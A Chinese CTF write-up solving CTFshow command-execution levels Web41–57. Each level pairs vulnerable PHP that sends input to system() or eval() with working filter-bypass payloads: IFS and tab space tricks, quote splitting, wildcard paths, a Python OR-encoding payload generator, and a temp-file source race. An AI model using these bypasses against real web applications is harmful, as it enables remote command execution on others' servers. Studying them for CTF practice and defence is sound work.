CTFshow-命令执行(Web41-57)

CTFshow-命令执行(Web41-57)

CTFWeb-命令执行漏洞过滤的绕过姿势_绕过空格过滤-CSDN博客

总结rce(远程代码执行各种sao姿势)绕过bypass_远程命令执行绕过-CSDN博客

对比两者的源代码,我们发现,cat指令把flag.php的内容导出后依然遵循php的语法,那么没有echo语句,就无法显示,而tac指令将一切倒过来后:就不是php语句了,在html语句里就就会直接显示出来。

${IFS}$9
{IFS}
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
IFS
< 
<> 
{cat,flag.php}  //用逗号实现了空格功能,需要用{}括起来
%20   (space)
%09   (tab)
X=$'cat\x09./flag.php';$X       (\x09表示tab,也可以用\x20)

Web41

php 复制代码
<?php
if(isset($_POST['c'])){
    $c = $_POST['c'];
`	if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

参考ctfshow web入门 web41_ctfshow web41-CSDN博客

没有过滤|,这里有羽师傅两个脚本:生成可用字符的集合

对于'/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'

该正则表达式的含义是:它会匹配任意一个数字字符、小写字母、"^"、"+"、"~"、"$"、"["、"]"、"{"、"}"、"&" 或 "-",并且在匹配时忽略大小写。可以说过滤了大部分绕过方式,但是还剩下"|"没有过滤。所以这道题的目的就是要我们使用ascii码为0-255中没有被过滤的字符进行或运算,从而得到被绕过的字符。

思路如下:

  • 首先对ascii从0-255所有字符中筛选出未被过滤的字符,然后两两进行或运算,存储结果。
  • 跟据题目要求,构造payload的原型,并将原型替换为或运算的结果
  • 使用POST请求发送c,获取flag
python 复制代码
import re
import urllib
from urllib import parse
import requests

contents = []

for i in range(256):
    for j in range(256):
        hex_i = '{:02x}'.format(i)
        hex_j = '{:02x}'.format(j)
        preg = re.compile(r'[0-9]|[a-z]|\^|\+|~|\$|\[|]|\{|}|&|-', re.I)
        if preg.search(chr(int(hex_i, 16))) or preg.search(chr(int(hex_j, 16))):
            continue
        else:
            a = '%' + hex_i
            b = '%' + hex_j
            c = chr(int(a[1:], 16) | int(b[1:], 16))
            if 32 <= ord(c) <= 126:
                contents.append([c, a, b])


def make_payload(cmd):
    payload1 = ''
    payload2 = ''
    for i in cmd:
        for j in contents:
            if i == j[0]:
                payload1 += j[1]
                payload2 += j[2]
                break
    payload = '("' + payload1 + '"|"' + payload2 + '")'
    return payload


URL = input('url:')
payload = make_payload('system') + make_payload('cat flag.php')
response = requests.post(URL, data={'c': urllib.parse.unquote(payload)})
print(response.text)

Web42

php 复制代码
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

这段代码的问题在于它直接将用户通过$_GET['c']传递的命令传递给了system()函数,并试图将输出重定向到/dev/null,这意味着任何标准输出或错误输出都不会被显示。

  1. 尝试无需回显的命令:?c=cp flag.php 1.txt
  2. ;绕过?c=cat flag.php;这里其实分号后面的都被重定向到/dev/null,虽然没有命令?c=cat flag.php;cat flag.php也行
  3. ?c=tac flag.php||ls也行因为||只会执行前面的命令
  4. & 两条命令都会执行?c=tac flag.php%26ls &需要url编码

| //只执行后面那条命令,这里不能用

Web43

php 复制代码
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

cat和;被过滤

  1. 尝试无需回显的命令:?c=cp flag.php 1.txt
  2. ?c=tac flag.php||ls也行因为||只会执行前面的命令
  3. & 两条命令都会执行?c=tac flag.php%26ls &需要url编码

Web44

php 复制代码
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
  1. ?c=tac fla?.php||ls也行因为||只会执行前面的命令
  2. & 两条命令都会执行?c=tac fla?.php%26ls &需要url编码
  3. ?c=cp fla?.php 1.txt

Web45

php 复制代码
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

空格也被过滤,看开头空格过滤方式,这里 I F S 和 {IFS}和 IFS和IFS$1和%09没被过滤

  1. ?c=tac I F S f l a ? . p h p ∣ ∣ l s ? c = t a c {IFS}fla?.php||ls ?c=tac IFSfla?.php∣∣ls?c=tacIFS$1fla?.php||ls ?c=tac%09fla?.php||ls
  2. ?c=tac${IFS}fla?.php%26ls...

?c=cp%09fla?.php%091.txt (不行了,不知道为啥)

Web46

php 复制代码
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

0-9$*也没了,但是%09和%26不算数字,算是url编码

  1. ?c=tac%09fla?.php||ls
  2. ?c=tac%09fla?.php%26ls

Web47

php 复制代码
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
  1. ?c=tac%09fla?.php||ls
  2. ?c=tac%09fla?.php%26ls

Web48

php 复制代码
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
  1. ?c=tac%09fla?.php||ls
  2. ?c=tac%09fla?.php%26ls

Web49

php 复制代码
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

%被过滤了

  1. ?c=tac%09fla?.php||ls
  2. ?c=tac%09fla?.php%26ls

Web50

php 复制代码
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

PHP 中,'' 会被解析为空字符串,所以:

fl''ag.php = flag.php

%0a 是 URL 编码的 换行符(\n)

  1. /?c=tac<fl''ag.php%0a /?c=tac<fl%27%27ag.php||
  2. ?c=nl<fla\g.php||

Web51

php 复制代码
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

tac被过滤

  1. ?c=nl<fla\g.php||
  2. ?c=t''ac<fl''ag.php%0a
  3. ?c=vi<fla\g.php||

flag.php 的内容输入到 vi 命令的标准输入

vi 不会像 nl 那样直接打印出文件的内容

Web52

php 复制代码
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

<> 被过滤了,但是$和cat没

  1. ?c=nl${IFS}/fla''g||
  2. ?c=t''ac${IFS}/fl''ag%0a
  3. ?c=vi${IFS}fla''g.php||

...

Web53

php 复制代码
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}
  1. ?c=ca''t${IFS}fla''g.php
  2. ?c=ta''c${IFS}fla''g.php

Web54

php 复制代码
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

越来越怪了

过滤了很多命令。 中间这些个很多的星号的内容,其实说,含有 cat,more这样的会被匹配,如cat 那么ca323390ft或c232fa3kdfst, 凡是按序出现了cat 都被匹配。 这时,我们不能直接写ca?因为这样是匹配不到命令的。 只能把全路径写出来,如/bin/ca?,与/bin/ca?匹配的,只有/bin/cat命令,这样就用到了cat 命令了。

  1. ?c=cp I F S f l a ? . p h p {IFS}fla?.php IFSfla?.php{IFS}b.txt
  2. ?c=/bin/ca?${IFS}???.??? (可能环境变了,实测不行,但是还是记录一下)

Web55

php 复制代码
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

过滤了字母,但没有过滤数字

?c=/???/???64 ???.???

// 即/bin/base64 flag.php

//base64这个命令就是将指定的文件的内容以base64加密的形式输出。这个不是通用的,因为base64不是每个机器都有

?c=/???/???/???2 ???.???

// 即/usr/bin/bzip2 flag.php

//把flag.php给压缩,然后访问url+flag.php.bz2就可以把压缩后的flag.php给下载下来。

$'\154\163' 就会执行ls

$'\xxx'可以将八进制ascii码解析为字符,仅基于这个特性,我们可以得到第一个函数common_otc(cmd),该函数将传入的命令的每一个字符转换为$'\xxx\xxx\xxx\xxx'的形式,但是注意,如果为连续的一串$'\xxx\xxx\xxx\xxx'形式,则我们无法执行带参数的命令。

Web56

php 复制代码
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

无字母数字rce,因为没有过滤. 而点命令在linux中是source的缩写,通过点命令,我们可以在没有执行权限的情况下执行命令

原理是通过POST上传一个文件,文件内容是要执行的命令,并且同时点命令执行该文件,形成条件竞争。这个文件默认保存在/tmp/phpxxxx路径下,所以可以通过/???/???[@-[] 来构成这个路径,[@-[]为匹配ascii码范围在@-[的字符(A,Z被屏蔽,所以范围大一位),之所以用[@-[]是因为直接用/???/???匹配到的其他文件都是小写字母,只有php临时生成的文件才包含大写字母。就算这样,也不一定能够准确地匹配到我们的上传文件,所以可能要多次刷新。

无字母数字webshell之提高篇 | 离别歌

无字母数字的命令执行(ctfshow web入门 55)_ctfshowweb55-CSDN博客

Web57

php 复制代码
<?php
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

通过$(())操作构造出36: $(()) :代表做一次运算,因为里面为空,也表示值为0

$(( ~$(()) )) :对0作取反运算,值为-1

$(( $((~$(()))) $((~$(()))) )): -1-1,也就是(-1)+(-1)为-2,所以值为-2

$(( ~$(( $((~$(()))) $((~$(()))) )) )) :再对-2做一次取反得到1,所以值为1

故我们在$(( ~$(( )) ))里面放37个$((~$(()))),得到-37,取反即可得到36:

~x+1=-x

那么假如 ~x+1=-x ,-x-1 = ~x 假如x=-3 那么(--3-1)=2 =~x我们可以得出-3取反为2,-4取反为3,-37取反为36

$(())=0

$((~ $(()) ))=-1

?c=$((~ $(($((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))$((~ $(())))))))
相关推荐
溯Sec2 小时前
渗透测试---burpsuite(8)IP伪造
安全·web安全·网络安全·系统安全·网络攻击模型·安全威胁分析·安全架构
Clarkbrave2 小时前
网站被间歇性扫描,IP不断更换,我的应对方法
web安全·php
CVE-柠檬i2 小时前
渗透测试-前端加密之AES加密下的SQL注入
网络安全
书生柒殇4 小时前
一键学懂BurpSuite(8)
安全·网络安全·抓包·burpsuite
dal118网工任子仪4 小时前
31.攻防世界php_rce
php
dal118网工任子仪4 小时前
32.攻防世界Web_php_include
笔记·学习·安全·web安全·网络安全
安年CJ5 小时前
计算机操作系统保护与安全教学指南
网络·数据结构·网络协议·安全
奥顺5 小时前
2025周易算命网站搭建详细方法+源码选择php环境的配置
linux·服务器·数据库·mysql·nginx·php
S0NeT6 小时前
php基础:正则表达式
php